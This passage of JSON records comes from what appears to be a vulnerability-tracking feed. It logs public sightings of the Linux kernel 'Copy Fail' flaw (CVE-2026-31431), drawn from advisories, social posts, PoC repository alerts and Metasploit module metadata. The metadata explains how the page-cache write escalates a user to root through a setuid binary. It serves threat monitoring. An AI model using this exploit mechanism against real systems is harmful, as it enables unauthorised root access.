"86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1846", "content": "", "creation_timestamp": "2026-05-03T21:00:00.000000Z"}, {"uuid": "8e002c59-603a-4e85-9b92-2ac926c2a1cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/82731", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copy-fail-CVE-2026-31431-shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a g1nt0n1x\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-04 07:55:57\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC shell exploit for CVE-2026-31431 (copy_fail) \u2014 Linux LPE via AF_ALG + splice page-cache overwrite. Single-shot, no race condition, kernel 4.9\u20136.18.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-04T08:00:04.000000Z"}, {"uuid": "85aebff3-aab3-474e-92ec-05f0f668598c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/news.humancoders.com/post/3mkzfzsf3kv22", "content": "Copy Fail CVE-2026-31431 : patch kernel Linux et mitigation", "creation_timestamp": "2026-05-04T10:00:21.564370Z"}, {"uuid": "eefc0aa9-56aa-4b70-9aa6-cd4f37362967", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/cve_2026_31431_copy_fail.rb", "content": "{\"actions\": [], \"aliases\": [], \"arch\": \"cmd\", \"author\": [\"Xint Code\", \"rootsecdev\", \"Spencer McIntyre\", \"Diego Ledda\"], \"autofilter_ports\": [], \"autofilter_services\": [], \"check\": true, \"default_credential\": false, \"description\": \"CVE-2026-31431 is a logic flaw in the Linux kernel's authencesn AEAD template that, when reached via the\\n          AF_ALG socket interface combined with splice(), allows an unprivileged local user to perform a controlled\\n          4-byte write into the page cache of any readable file. Because the corrupted pages are never marked dirty, the\\n          on-disk file is unchanged but the in-memory version is immediately visible system-wide, enabling local\\n          privilege escalation by injecting shellcode into the page cache of a setuid-root binary such as /usr/bin/su.\\n          The vulnerability was introduced by an in-place optimization in algif_aead.c (commit 72548b093ee3, 2017) and\\n          affects essentially all major Linux distributions shipped since then until the fix in commit a664bf3d603d.\", \"disclosure_date\": \"2026-04-29\", \"fullname\": \"exploit/linux/local/cve_2026_31431_copy_fail\", \"is_install_path\": true, \"mod_time\": \"2026-04-30 17:51:30 +0000\", \"name\": \"Copy Fail AF_ALG + authencesn Page-Cache Write\", \"needs_cleanup\": null, \"notes\": {\"AKA\": [\"Copy Fail\"], \"Reliability\": [\"repeatable-session\"], \"SideEffects\": [], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/linux/local/cve_2026_31431_copy_fail.rb\", \"platform\": \"Linux,Unix\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"linux/local/cve_2026_31431_copy_fail\", \"references\": [\"CVE-2026-31431\", \"URL-https://copy.fail/\", \"URL-https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py\", \"URL-https://github.com/rootsecdev/cve_2026_31431\"], \"rport\": null, \"session_types\": [\"shell\", \"meterpreter\"], \"targets\": [\"Linux Command\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-04-30T22:30:05.000000Z"}, {"uuid": "3adc5f55-747b-4d44-8781-8770df2b68ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/kasperskyb2b/2158", "content": "\ud83d\udc40 \u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f APT \u0438 \u043d\u043e\u0432\u043e\u0441\u0442\u0438 \u0418\u0411 \u0437\u0430 \u043d\u0435\u0434\u0435\u043b\u044e\n\n\ud83d\udfe2\u0412 \u0430\u0442\u0430\u043a\u0430\u0445 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 Silver Fox \u043d\u0430 \u043e\u0440\u0433\u0430\u043d\u0437\u0438\u0430\u0446\u0438\u0438 \u0432 \u0420\u0424 \u0438 \u0432 \u0418\u043d\u0434\u0438\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u043d\u043e\u0432\u044b\u0439 \u0431\u044d\u043a\u0434\u043e\u0440 ABCDoor. \u0420\u0435\u0442\u0440\u043e\u0441\u043f\u0435\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c 7 \u0432\u0435\u0440\u0441\u0438\u0439 \u0412\u041f\u041e, \u043f\u0435\u0440\u0432\u0430\u044f \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0434\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0430\u0436 2024 \u0433\u043e\u0434\u043e\u043c, \u043d\u043e \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u0435 \u0438\u043c\u043f\u043b\u0430\u043d\u0442\u0430 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u0441\u0435\u0439 \u0434\u0435\u043d\u044c. \u041d\u0430\u0447\u0438\u043d\u0430\u044e\u0442\u0441\u044f \u0430\u0442\u0430\u043a\u0438 \u0441 \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u0444\u0438\u0448\u0438\u043d\u0433\u0430 \u043d\u0430\u043b\u043e\u0433\u043e\u0432\u043e\u0439 \u0442\u0435\u043c\u0430\u0442\u0438\u043a\u0438. \n\n\ud83d\udfe3\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-31431 (CopyFail), \u0443\u0433\u0440\u043e\u0436\u0430\u044e\u0449\u0435\u0439 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0443 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0431\u043e\u0440\u043e\u043a Linux. \u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u0430 \u0443\u0433\u0440\u043e\u0437\u0430 \u0434\u043b\u044f \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043d\u044b\u0445 \u0441\u0440\u0435\u0434:  Docker, LXC \u0438 Kubernetes.\n\n\ud83d\udd35\u0412 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 npm \u0431\u0443\u0448\u0443\u0435\u0442 \u044d\u043f\u0438\u0434\u0435\u043c\u0438\u044f Mini Shai-Hulud: \u0447\u0435\u0440\u0432\u044c \u043f\u043e\u0440\u0430\u0437\u0438\u043b \u043f\u0430\u043a\u0435\u0442\u044b SAP \u0438 intercom. \u0412\u0435\u0440\u043e\u044f\u0442\u043d\u043e \u0442\u0435 \u0436\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043f\u0430\u043a\u0435\u0442\u044b lightning \u0432 PyPi. TTPs \u043f\u043e\u0445\u043e\u0436\u0438 \u043d\u0430 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0443 TeamPCP.\n\n\ud83d\udfe3\u0413\u0440\u0443\u043f\u043f\u0430 HeartlessSoul, \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u0430\u044f \u043e\u0441\u0435\u043d\u044c\u044e 2025 \u0433\u043e\u0434\u0430, \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0430\u0432\u0438\u0430\u0446\u0438\u043e\u043d\u043d\u0443\u044e \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0438 \u0432 \u0447\u0438\u0441\u043b\u0435 \u043f\u043e\u0445\u0438\u0449\u0430\u0435\u043c\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0434\u0435\u043b\u0430\u0435\u0442 \u043e\u0441\u043e\u0431\u044b\u0439 \u0430\u043a\u0446\u0435\u043d\u0442 \u043d\u0430 \u0444\u0430\u0439\u043b\u044b \u0433\u0435\u043e\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c. \u041f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u0435\u043d \u043f\u043e\u0434\u0445\u043e\u0434 \u043a \u0442\u0430\u0440\u0433\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e: \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u0440\u0435\u043a\u043b\u0430\u043c\u0438\u0440\u0443\u0435\u0442 \u0441\u0430\u0439\u0442\u044b-\u0444\u0430\u043b\u044c\u0448\u0438\u0432\u043a\u0438 \u0441 \u0442\u0440\u043e\u044f\u043d\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u041f\u041e \u0434\u043b\u044f \u0430\u0432\u0438\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\ud83d\udfe3\u0412\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0438 \u0442\u043e\u0436\u0435 \u0432\u043e\u043b\u043d\u0443\u044e\u0442\u0441\u044f \u043e \u043f\u043e\u0441\u0442\u043a\u0432\u0430\u043d\u0442\u043e\u0432\u043e\u0439 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0438 \u2014 \u043d\u043e\u0432\u044b\u0439 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a Kyber \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0432 \u0441\u0432\u043e\u0435\u0439 \u0440\u0430\u0431\u043e\u0442\u0435 \u0433\u0438\u0431\u0440\u0438\u0434\u043d\u044b\u0439 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c \u0441 \u041f\u041a\u0428.\n\n\ud83d\udd35\u041e\u0433\u0440\u043e\u043c\u043d\u044b\u0439 150-\u0441\u0442\u0440\u0430\u043d\u0438\u0447\u043d\u044b\u0439 \u043e\u0442\u0447\u0435\u0442 \u043e \u0441\u043b\u043e\u0436\u043d\u043e\u043c \u0412\u041f\u041e EasterBunny (pdf) \u0438 TTPs APT29/DarkHalo, \u0435\u0433\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0449\u0435\u0439. \u0421\u0440\u0435\u0434\u0438 \u043b\u044e\u0431\u043e\u043f\u044b\u0442\u043d\u044b\u0445 \u0434\u0435\u0442\u0430\u043b\u0435\u0439 \u2014 \u0436\u0451\u0441\u0442\u043a\u0430\u044f \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u0438\u043c\u043f\u043b\u0430\u043d\u0442\u0430 \u043a \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0443, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u043d \u043d\u0430\u0446\u0435\u043b\u0435\u043d, \u043d\u0430 \u0434\u0440\u0443\u0433\u0438\u0445 \u043c\u0430\u0448\u0438\u043d\u0430\u0445 \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u0441\u044f.\n\n\ud83d\udfe3\u041d\u043e\u0432\u044b\u0435 \u0440\u0430\u0437\u043d\u043e\u0432\u0438\u0434\u043d\u043e\u0441\u0442\u0438 ClickFix: \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043a\u043e\u043c\u0430\u043d\u0434 cmdkey \u0438 regsvr32 \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0412\u041f\u041e.\n\n\ud83d\udd35\u0417\u0430\u043a\u0440\u044b\u0442\u0430\u044f \u0432 \u0430\u043f\u0440\u0435\u043b\u044c\u0441\u043a\u043e\u043c Patch Tuesday CVE-2026-32202, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0430\u044f \u043a \u0443\u0442\u0435\u0447\u043a\u0435 \u0445\u044d\u0448\u0435\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0442\u0435\u043f\u0435\u0440\u044c \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u0430 \u043a\u0430\u043a \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u0430\u044f. \u0414\u0435\u0444\u0435\u043a\u0442 \u0432\u043e\u0437\u043d\u0438\u043a \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u043e\u043b\u043d\u043e\u0433\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0444\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u0437\u0438\u0440\u043e\u0434\u0435\u044f CVE-2026-21510.\n\n\ud83d\udfe3\u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0430\u044f \u0438\u0441\u0442\u043e\u0440\u0438\u044f \u2014 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043f\u043b\u0430\u0433\u0438\u043d \u0434\u043b\u044f WordPress \u0431\u044b\u043b \u0438\u0437\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d \u0438\u0437 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0435\u0449\u0435 \u0432 2020 \u0433\u043e\u0434\u0443, \u043d\u043e \u043e\u0431\u0437\u0430\u0432\u0451\u043b\u0441\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c\u044e \u0442\u043e\u043b\u044c\u043a\u043e \u0432 2026. \n\n\ud83d\udd35\u0420\u0430\u0437\u0431\u043e\u0440 \u043c\u0430\u0441\u0441\u043e\u0432\u043e\u0439 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u043f\u0430\u043c-\u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u0441 \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u043e\u0439 \u0444\u0430\u043b\u044c\u0448\u0438\u0432\u044b\u0445 SMS \u043e\u0431 \u043e\u043f\u043b\u0430\u0442\u0435 \u0434\u043e\u0440\u043e\u0436\u043d\u044b\u0445 \u043f\u043e\u0448\u043b\u0438\u043d \u0438 \u0448\u0442\u0440\u0430\u0444\u043e\u0432. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0436\u0435\u0440\u0442\u0432 \u0437\u0430\u043c\u0430\u043d\u0438\u0432\u0430\u044e\u0442 \u043d\u0430 \u0444\u0430\u043b\u044c\u0448\u0438\u0432\u044b\u0435 \u043f\u043b\u0430\u0442\u0451\u0436\u043d\u044b\u0435 \u0441\u0430\u0439\u0442\u044b \u0438 \u0441\u0430\u0439\u0442\u044b, \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0438\u0435 \u0412\u041f\u041e.\n\n\ud83d\udfe2\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-41940 \u0432 \u043f\u0430\u043d\u0435\u043b\u044f\u0445 cPanel \u0438 WHM, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0430\u0434\u043c\u0438\u043d\u0441\u043a\u0438\u0435 \u043f\u0440\u0430\u0432\u0430 \u0431\u0435\u0437 \u0432\u0441\u044f\u043a\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0435\u0449\u0451 \u0434\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f. \u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c cPanel, \u044d\u0442\u043e \u0432\u0435\u0441\u044c\u043c\u0430 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u043e \u2014 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c\u0441\u044f \u043d\u0443\u0436\u043d\u043e \u0432 \u0441\u0440\u043e\u0447\u043d\u043e\u043c \u043f\u043e\u0440\u044f\u0434\u043a\u0435. \n\n\ud83d\udfe3\u041d\u0435\u043e\u0436\u0438\u0434\u0430\u043d\u043d\u043e\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0433\u0435\u043e\u0433\u0440\u0430\u0444\u0438\u0438 \u0441\u043a\u0430\u043c-\u0446\u0435\u043d\u0442\u0440\u043e\u0432 (\u0438 \u0431\u043e\u0440\u044c\u0431\u044b \u0441 \u043d\u0438\u043c\u0438) \u2014 \u0434\u0435\u0432\u044f\u0442\u044c \u043c\u043e\u0448\u0435\u043d\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043e\u0444\u0438\u0441\u043e\u0432 \u0437\u0430\u043a\u0440\u044b\u043b\u0438 \u0432 \u0414\u0443\u0431\u0430\u0435.\n\n#\u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442 #APT @\u041f2\u0422", "creation_timestamp": "2026-05-04T09:44:28.000000Z"}, {"uuid": "3353c297-7903-4005-9957-e7f92fcbf3a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82735", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a RK35xx-CopyFail-Hotfix\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Qengineering\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-04 08:56:14\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nRK35xx CopyFail Hotfix: CVE-2026-31431 Patch for Ubuntu 24.04\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-04T09:00:04.000000Z"}, {"uuid": "a3acd964-129a-419f-af29-d56b6747f8b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mkzjyo3dghq2", "content": "Linux: CISA Warns of Linux Kernel Zero-Day Vulnerability Exploited in Active Attacks CISA Warns of Actively Exploited Linux Kernel Vulnerability (CVE-2026-31431) The U.S. Cybersecurity and Infrastr...\n\n#cyber #Vulnerability\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-04T11:14:37.229108Z"}, {"uuid": "a8b72110-e060-4d33-9c11-3cf3eb4277eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mkzlvnvq2q2q", "content": "CISA reports active exploitation of "Copy Fail" Linux kernel flaw (CVE-2026-31431) allowing local users to gain root access. Federal agencies must patch by May 15 under BOD 22-01. #LinuxKernel #RootAccess #USA", "creation_timestamp": "2026-05-04T11:45:24.229336Z"}, {"uuid": "6c614102-c3c9-4853-bd03-e51836a242ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mkzyhprqbp2u", "content": "\ud83d\udd17 CVE : CVE-2026-31431", "creation_timestamp": "2026-05-04T15:30:14.888541Z"}, {"uuid": "0d8520a9-0f6b-4368-821b-870b59fac7df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pixelsandpulse.bsky.social/post/3mkznjpeaxq2g", "content": "A quiet Linux kernel flaw, 'Copy Fail' (CVE-2026-31431), has been actively exploited since 2017, allowing root access with a tiny script. This LPE is a major threat to cloud container security, proving even 'boring' bugs can be\u2026\n\nhttps://www.tpp.blog/qoupvah\n\n#cybersecurity #cve202631431 #copyfail", "creation_timestamp": "2026-05-04T12:14:30.353343Z"}, {"uuid": "4cbf6d53-fe76-46f4-8f7c-dbaf8c0b616d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/mhatta.org/post/3mkzofu7rvx25", "content": "copy.fail (CVE-2026-31431): a small Linux kernel bug with an unusually big blast radius | Jorijn Schrijvershof", "creation_timestamp": "2026-05-04T12:30:14.962219Z"}, {"uuid": "327adf20-1743-4895-bc36-9cae6cd0c99f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.cert.se/2026/05/allvarlig-sarbarhet-i-flertal-linuxdistributioner.html", "content": "", "creation_timestamp": "2026-05-04T03:00:00.000000Z"}, {"uuid": "259c62ea-0f89-44af-b747-9be6eef5a94d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://gist.github.com/iinikolaev/2ea316b1d8192f31153454117bc2870d", "content": "", "creation_timestamp": "2026-05-04T13:26:19.000000Z"}, {"uuid": "55602a76-f3eb-495d-a9cb-7d30e75ed773", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3120", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mkzs46ut6b2v", "content": "SambaBox\u3067OS\u30b3\u30de\u30f3\u30c9\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306e\u8106\u5f31\u6027\u3002\u653b\u6483\u8005\u306f\u4e0d\u6b63\u306a\u30b3\u30fc\u30c9\u751f\u6210\u3092\u5236\u5fa1\u3067\u304d\u306a\u3044\u53ef\u80fd\u6027\u304c\u3042\u308a\u3001OS\u30b3\u30de\u30f3\u30c9\u3092\u5b9f\u884c\u3055\u308c\u308b\u6050\u308c\u304c\u3042\u308b\u3002\nCVE-2026-3120 CVSS 7.2 | HIGH", "creation_timestamp": "2026-05-04T13:36:25.208290Z"}, {"uuid": "47694d3a-063f-4142-bdff-58a40b876492", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mkzumywkak2d", "content": " **Linux Security Alert! **\nThe 'Copy Fail' (CVE-2026-31431) flaw lets ANY local user gain root access on SUSE & other distros.  Read more->  tinyurl.com/mr5e2y7d  #SUSE #Security", "creation_timestamp": "2026-05-04T14:21:39.931131Z"}, {"uuid": "86f4a572-2465-4723-be02-d51bde5bda81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31789", "type": "seen", "source": "https://bsky.app/profile/xint-io.bsky.social/post/3mkzut725gk2s", "content": "After AIxCC wrapped in 2025, @DARPA worked with Xint and the other top performers to ensure the innovation continued even after the contest was done to secure the internet's open source infrastructure. Here is story of CVE-2026-31789\nxint.io/blog/170315", "creation_timestamp": "2026-05-04T14:25:06.232917Z"}, {"uuid": "4be6965c-3580-45b5-b329-c6a3bce57a87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3120", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mkzv5tvt2a2v", "content": "CVE-2026-3120 - RCE in Profelis Informatics' SambaBox\nCVE ID : CVE-2026-3120\n \n Published : May 4, 2026, 12:16 p.m. | 2\u00a0hours, 4\u00a0minutes ago\n \n Description : Improper Control of Generation of Code ('Code Injection') vulnerability in Profelis Information and Consulting Trade an...", "creation_timestamp": "2026-05-04T14:31:06.182813Z"}, {"uuid": "1d98ffb8-5ff3-4351-9ae3-f20361dcbb38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/rockylinux.org/post/3mkzweewt5p27", "content": "Kernel crypto vulnerability alert: CVE-2026-31431 (Copy Fail) affects Rocky Linux users. Our community is tracking patches and next steps in real time.\nRocky-specific guidance: forums.rockylinux.org/t/cve-2026-3... \n#RockyLinux #LinuxSecurity", "creation_timestamp": "2026-05-04T14:52:35.570567Z"}, {"uuid": "3b3ae144-d3d3-4d5c-b7c1-6dcaa6e76391", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82768", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a play-go-copy-fail-cve-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a imkk000\n\ud83d\udee0 